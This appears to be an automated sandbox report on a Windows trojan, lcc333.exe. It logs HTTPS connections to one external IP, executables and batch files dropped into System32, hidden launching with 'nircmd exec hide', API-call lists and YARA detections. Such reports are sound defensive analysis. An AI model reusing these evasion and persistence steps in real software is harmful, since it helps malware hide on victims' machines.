Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49933
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49932
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49927
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49926
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49982 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49809 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49913
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49912
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49908
Source: unknown	Network traffic detected: HTTP traffic on port 49962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49906
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987

Source: unknown	HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49785 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49786 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49793 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49792 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49798 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49797 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49809 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49810 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49816 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49817 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49829 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49830 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49833 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49835 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49848 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49849 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49852 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49853 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49866 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49867 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49871 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49872 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49884 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49886 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49890 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49891 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49906 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49908 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49912 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49913 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49926 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49927 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49932 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49933 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49943 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49944 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49951 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49950 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49963 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49962 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49967 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49969 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49981 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49982 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49986 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49987 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49998 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:50001 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:50005 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:50006 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:50016 version: TLS 1.2

Source: C:\Windows\System32\nircmd.exe

Code function: 15_2_0000000140003460 OpenClipboard,GetClipboardData,GlobalLock,CreateFileA,SetFilePointer,GetFileSize,WriteFile,wcslen,WriteFile,WriteFile,CloseHandle,GlobalUnlock,CloseClipboard,

15_2_0000000140003460

Source: C:\Windows\System32\nircmd.exe	Code function: 15_2_00000001400036C0 EmptyClipboard,strlen,GlobalAlloc,GlobalLock,memcpy,GlobalUnlock,SetClipboardData,CloseClipboard,	15_2_00000001400036C0
Source: C:\Windows\System32\nircmd.exe	Code function: 15_2_00000001400026E4 GetObjectA,GetDC,CreateDIBitmap,ReleaseDC,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,DeleteObject,	15_2_00000001400026E4
Source: C:\Windows\System32\nircmd.exe	Code function: 15_2_0000000140001BBC memset,ReadFile,ReadFile,OpenClipboard,EmptyClipboard,RegisterClipboardFormatA,GlobalAlloc,GlobalLock,SetFilePointer,ReadFile,GlobalUnlock,SetClipboardData,CloseClipboard,CloseHandle,	15_2_0000000140001BBC

Source: C:\Windows\System32\nircmd.exe

Code function: 15_2_0000000140003460 OpenClipboard,GetClipboardData,GlobalLock,CreateFileA,SetFilePointer,GetFileSize,WriteFile,wcslen,WriteFile,WriteFile,CloseHandle,GlobalUnlock,CloseClipboard,

15_2_0000000140003460

Source: C:\Windows\System32\nircmd.exe

Code function: 15_2_000000014000C0FA CoUninitialize,CoInitialize,memset,memset,MultiByteToWideChar,MultiByteToWideChar,atof,CoInitialize,memset,MultiByteToWideChar,atoi,CoUninitialize,memset,sprintf,CloseHandle,memset,strcpy,strrchr,CoInitialize,CoCreateInstance,memset,MultiByteToWideChar,atoi,atoi,memset,MultiByteToWideChar,CoCreateInstance,CoTaskMemFree,memset,SHFileOperationA,GetDC,GetForegroundWindow,GetWindowRect,CreateCompatibleBitmap,CreateCompatibleDC,SelectObject,BitBlt,_stricmp,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,SelectObject,DeleteDC,SelectObject,DeleteDC,DeleteObject,GetFileAttributesA,SetFileAttributesA,CreateFileA,GetFileSize,memset,SetFilePointer,WriteFile,CloseHandle,DeleteFileA,memset,strrchr,atoi,ExtractIconExA,SetTimer,TranslateMessage,DispatchMessageA,GetMessageA,KillTimer,DestroyIcon,memset,sprintf,strcpy,_strlwr,ShellExecuteA,GetDC,GetDeviceCaps,GetDeviceCaps,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,atoi,atoi,atoi,atoi,CreateCompatibleBitmap,CreateCompatibleDC,SelectObject,BitBlt,_stricmp,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,SelectObject,DeleteDC,SelectObject,DeleteDC,DeleteObject,ReleaseDC,MessageBeep,memset,strcpy,SendMessageTimeoutA,SendMessageTimeoutA,RegOpenKeyExA,memset,memset,atoi,_itoa,SendMessageTimeoutA,SHChangeNotify,

15_2_000000014000C0FA

System Summary

PE file contains section with special chars

Source: AutoDesk.exe.2.dr	Static PE information: section name: .`[w
Source: AutoDesk.exe.2.dr	Static PE information: section name: .[dL
Source: AutoDesk.exe.2.dr	Static PE information: section name: .\|q6

Uses the nircmd tool (NirSoft)

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\nircmd.exe nircmd exec hide "app_process.exe"

Source: C:\Users\user\Desktop\lcc333.exe	File created: C:\Windows\System32\python.bat	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	File created: C:\Windows\System32\app_process.exe	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	File created: C:\Windows\System32\AutoDesk.exe	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	File created: C:\Windows\System32\play.bat	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	File created: C:\Windows\System32\nircmd.exe	Jump to behavior

Source: C:\Users\user\Desktop\lcc333.exe	Code function: 0_2_00007FF714C81000	0_2_00007FF714C81000
Source: C:\Users\user\Desktop\lcc333.exe	Code function: 0_2_00007FF714C889E0	0_2_00007FF714C889E0
Source: C:\Users\user\Desktop\lcc333.exe	Code function: 0_2_00007FF714CA6964	0_2_00007FF714CA6964
Source: C:\Users\user\Desktop\lcc333.exe	Code function: 0_2_00007FF714CA5C00	0_2_00007FF714CA5C00
Source: C:\Users\user\Desktop\lcc333.exe	Code function: 0_2_00007FF714C935A0	0_2_00007FF714C935A0
Source: C:\Users\user\Desktop\lcc333.exe	Code function: 0_2_00007FF714C9E570	0_2_00007FF714C9E570
Source: C:\Users\user\Desktop\lcc333.exe	Code function: 0_2_00007FF714C95D30	0_2_00007FF714C95D30
Source: C:\Users\user\Desktop\lcc333.exe	Code function: 0_2_00007FF714C91D54	0_2_00007FF714C91D54
Source: C:\Users\user\Desktop\lcc333.exe	Code function: 0_2_00007FF714C9DEF0	0_2_00007FF714C9DEF0
Source: C:\Users\user\Desktop\lcc333.exe	Code function: 0_2_00007FF714C99EA0	0_2_00007FF714C99EA0
Source: C:\Users\user\Desktop\lcc333.exe	Code function: 0_2_00007FF714CA5E7C	0_2_00007FF714CA5E7C
Source: C:\Users\user\Desktop\lcc333.exe	Code function: 0_2_00007FF714C89800	0_2_00007FF714C89800
Source: C:\Users\user\Desktop\lcc333.exe	Code function: 0_2_00007FF714C91F60	0_2_00007FF714C91F60
Source: C:\Users\user\Desktop\lcc333.exe	Code function: 0_2_00007FF714C98794	0_2_00007FF714C98794
Source: C:\Users\user\Desktop\lcc333.exe	Code function: 0_2_00007FF714CA9728	0_2_00007FF714CA9728
Source: C:\Users\user\Desktop\lcc333.exe	Code function: 0_2_00007FF714C91740	0_2_00007FF714C91740
Source: C:\Users\user\Desktop\lcc333.exe	Code function: 0_2_00007FF714C980E4	0_2_00007FF714C980E4
Source: C:\Users\user\Desktop\lcc333.exe	Code function: 0_2_00007FF714CA40AC	0_2_00007FF714CA40AC
Source: C:\Users\user\Desktop\lcc333.exe	Code function: 0_2_00007FF714CA08C8	0_2_00007FF714CA08C8
Source: C:\Users\user\Desktop\lcc333.exe	Code function: 0_2_00007FF714CA1874	0_2_00007FF714CA1874
Source: C:\Users\user\Desktop\lcc333.exe	Code function: 0_2_00007FF714C939A4	0_2_00007FF714C939A4
Source: C:\Users\user\Desktop\lcc333.exe	Code function: 0_2_00007FF714C92164	0_2_00007FF714C92164
Source: C:\Users\user\Desktop\lcc333.exe	Code function: 0_2_00007FF714C91944	0_2_00007FF714C91944
Source: C:\Users\user\Desktop\lcc333.exe	Code function: 0_2_00007FF714C8A2DB	0_2_00007FF714C8A2DB
Source: C:\Users\user\Desktop\lcc333.exe	Code function: 0_2_00007FF714C9DA5C	0_2_00007FF714C9DA5C
Source: C:\Users\user\Desktop\lcc333.exe	Code function: 0_2_00007FF714CA3C10	0_2_00007FF714CA3C10
Source: C:\Users\user\Desktop\lcc333.exe	Code function: 0_2_00007FF714C92C10	0_2_00007FF714C92C10
Source: C:\Users\user\Desktop\lcc333.exe	Code function: 0_2_00007FF714C91B50	0_2_00007FF714C91B50
Source: C:\Users\user\Desktop\lcc333.exe	Code function: 0_2_00007FF714C8ACAD	0_2_00007FF714C8ACAD
Source: C:\Users\user\Desktop\lcc333.exe	Code function: 0_2_00007FF714C8A47B	0_2_00007FF714C8A47B
Source: C:\Users\user\Desktop\lcc333.exe	Code function: 0_2_00007FF714CA08C8	0_2_00007FF714CA08C8
Source: C:\Users\user\Desktop\lcc333.exe	Code function: 0_2_00007FF714CA6418	0_2_00007FF714CA6418
Source: C:\Windows\System32\nircmd.exe	Code function: 15_2_0000000140001000	15_2_0000000140001000
Source: C:\Windows\System32\nircmd.exe	Code function: 15_2_000000014000902C	15_2_000000014000902C
Source: C:\Windows\System32\nircmd.exe	Code function: 15_2_0000000140014C8C	15_2_0000000140014C8C
Source: C:\Windows\System32\nircmd.exe	Code function: 15_2_0000000140004490	15_2_0000000140004490
Source: C:\Windows\System32\nircmd.exe	Code function: 15_2_00000001400066A8	15_2_00000001400066A8
Source: C:\Windows\System32\nircmd.exe	Code function: 15_2_000000014000A4C4	15_2_000000014000A4C4
Source: C:\Windows\System32\nircmd.exe	Code function: 15_2_00000001400054D8	15_2_00000001400054D8
Source: C:\Windows\System32\nircmd.exe	Code function: 15_2_00000001400080E0	15_2_00000001400080E0
Source: C:\Windows\System32\nircmd.exe	Code function: 15_2_000000014000C0FA	15_2_000000014000C0FA
Source: C:\Windows\System32\nircmd.exe	Code function: 15_2_00000001400057E0	15_2_00000001400057E0

Source: C:\Windows\System32\nircmd.exe	Code function: String function: 0000000140015B94 appears 99 times
Source: C:\Users\user\Desktop\lcc333.exe	Code function: String function: 00007FF714C82710 appears 52 times

Source: unicodedata.pyd.0.dr

Static PE information: Resource name: RT_VERSION type: COM executable for DOS

Source: AutoDesk.exe.2.dr

Static PE information: Number of sections : 13 > 10

Source: lcc333.exe, 00000000.00000003.2106050470.000002172D7DF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_ssl.pyd. vs lcc333.exe
Source: lcc333.exe, 00000000.00000003.2104927615.000002172D7DF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_bz2.pyd. vs lcc333.exe
Source: lcc333.exe, 00000000.00000003.2105823533.000002172D7DF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_queue.pyd. vs lcc333.exe
Source: lcc333.exe, 00000000.00000003.2104758993.000002172D7DF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamevcruntime140.dllT vs lcc333.exe
Source: lcc333.exe, 00000000.00000003.2105914516.000002172D7DF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_socket.pyd. vs lcc333.exe
Source: lcc333.exe, 00000000.00000003.2111135941.000002172D7E1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameselect.pyd. vs lcc333.exe
Source: lcc333.exe, 00000000.00000003.2105068052.000002172D7DF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_decimal.pyd. vs lcc333.exe
Source: lcc333.exe, 00000000.00000003.2111291391.000002172D7E1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameunicodedata.pyd. vs lcc333.exe
Source: lcc333.exe, 00000000.00000003.2105424268.000002172D7DF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_lzma.pyd. vs lcc333.exe
Source: lcc333.exe, 00000000.00000003.2105250934.000002172D7DF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_hashlib.pyd. vs lcc333.exe
Source: lcc333.exe, 00000000.00000003.2108629944.000002172D7E1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamelibsslH vs lcc333.exe

Source: Yara match	File source: 31.2.nircmd.exe.140000000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.nircmd.exe.140000000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.nircmd.exe.140000000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.0.nircmd.exe.140000000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.0.nircmd.exe.140000000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 34.0.nircmd.exe.140000000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.0.nircmd.exe.140000000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 34.2.nircmd.exe.140000000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000022.00000000.3344394477.0000000140017000.00000002.00000001.01000000.00000013.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.2528526092.0000000140017000.00000002.00000001.01000000.00000013.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000000.2526970311.0000000140017000.00000002.00000001.01000000.00000013.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2526477071.0000000140017000.00000002.00000001.01000000.00000013.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000002.3347749954.0000000140017000.00000002.00000001.01000000.00000013.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000000.2523657662.0000000140017000.00000002.00000001.01000000.00000013.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000000.3340727157.0000000140017000.00000002.00000001.01000000.00000013.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.3344008939.0000000140017000.00000002.00000001.01000000.00000013.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: nircmd.exe PID: 3176, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: nircmd.exe PID: 4820, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: nircmd.exe PID: 3140, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: nircmd.exe PID: 1100, type: MEMORYSTR
Source: Yara match	File source: C:\Windows\System32\nircmd.exe, type: DROPPED

Source: classification engine

Classification label: mal60.troj.evad.winEXE@59/30@1/3

Source: C:\Windows\System32\nircmd.exe

Code function: 15_2_0000000140012A40 free,CreateToolhelp32Snapshot,memset,Process32First,OpenProcess,memset,GetModuleHandleA,GetProcAddress,strcpy,CloseHandle,memcpy,Process32Next,CloseHandle,

15_2_0000000140012A40

Source: C:\Windows\System32\nircmd.exe

Code function: 15_2_000000014000400C CoCreateInstance,MultiByteToWideChar,CoUninitialize,

15_2_000000014000400C

Source: C:\Users\user\Desktop\lcc333.exe

File created: C:\Users\user\Desktop\windows2.zip

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5588:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5648:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3812:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6772:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6436:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6544:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6660:120:WilError_03

Source: C:\Users\user\Desktop\lcc333.exe

File created: C:\Users\user\AppData\Local\Temp\_MEI6122

Jump to behavior

Source: C:\Users\user\Desktop\lcc333.exe

Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c python.bat

Source: lcc333.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "AutoDesk.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "app_process.exe")

Source: C:\Users\user\Desktop\lcc333.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: lcc333.exe, 00000002.00000003.2491611998.000002B9372A3000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2492290000.000002B93730F000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2491866704.000002B936B7C000.00000004.00000020.00020000.00000000.sdmp, app_process.exe, 00000012.00000002.3348387189.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp, app_process.exe, 00000012.00000000.2525092693.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp, app_process.exe, 00000016.00000002.3347236766.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp, app_process.exe, 00000016.00000000.2527968271.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp, app_process.exe, 00000020.00000002.3357087112.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp, app_process.exe, 00000020.00000000.3341938213.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp, app_process.exe, 00000023.00000002.3357025814.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: lcc333.exe, 00000002.00000003.2491611998.000002B9372A3000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2492290000.000002B93730F000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2491866704.000002B936B7C000.00000004.00000020.00020000.00000000.sdmp, app_process.exe, 00000012.00000002.3348387189.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp, app_process.exe, 00000012.00000000.2525092693.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp, app_process.exe, 00000016.00000002.3347236766.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp, app_process.exe, 00000016.00000000.2527968271.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp, app_process.exe, 00000020.00000002.3357087112.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp, app_process.exe, 00000020.00000000.3341938213.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp, app_process.exe, 00000023.00000002.3357025814.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: lcc333.exe, 00000002.00000003.2491611998.000002B9372A3000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2492290000.000002B93730F000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2491866704.000002B936B7C000.00000004.00000020.00020000.00000000.sdmp, app_process.exe, 00000012.00000002.3348387189.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp, app_process.exe, 00000012.00000000.2525092693.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp, app_process.exe, 00000016.00000002.3347236766.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp, app_process.exe, 00000016.00000000.2527968271.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp, app_process.exe, 00000020.00000002.3357087112.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp, app_process.exe, 00000020.00000000.3341938213.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp, app_process.exe, 00000023.00000002.3357025814.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: lcc333.exe, 00000002.00000003.2491611998.000002B9372A3000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2492290000.000002B93730F000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2491866704.000002B936B7C000.00000004.00000020.00020000.00000000.sdmp, app_process.exe, 00000012.00000002.3348387189.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp, app_process.exe, 00000012.00000000.2525092693.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp, app_process.exe, 00000016.00000002.3347236766.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp, app_process.exe, 00000016.00000000.2527968271.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp, app_process.exe, 00000020.00000002.3357087112.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp, app_process.exe, 00000020.00000000.3341938213.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp, app_process.exe, 00000023.00000002.3357025814.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: lcc333.exe, 00000002.00000003.2491611998.000002B9372A3000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2492290000.000002B93730F000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2491866704.000002B936B7C000.00000004.00000020.00020000.00000000.sdmp, app_process.exe, 00000012.00000002.3348387189.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp, app_process.exe, 00000012.00000000.2525092693.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp, app_process.exe, 00000016.00000002.3347236766.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp, app_process.exe, 00000016.00000000.2527968271.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp, app_process.exe, 00000020.00000002.3357087112.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp, app_process.exe, 00000020.00000000.3341938213.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp, app_process.exe, 00000023.00000002.3357025814.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
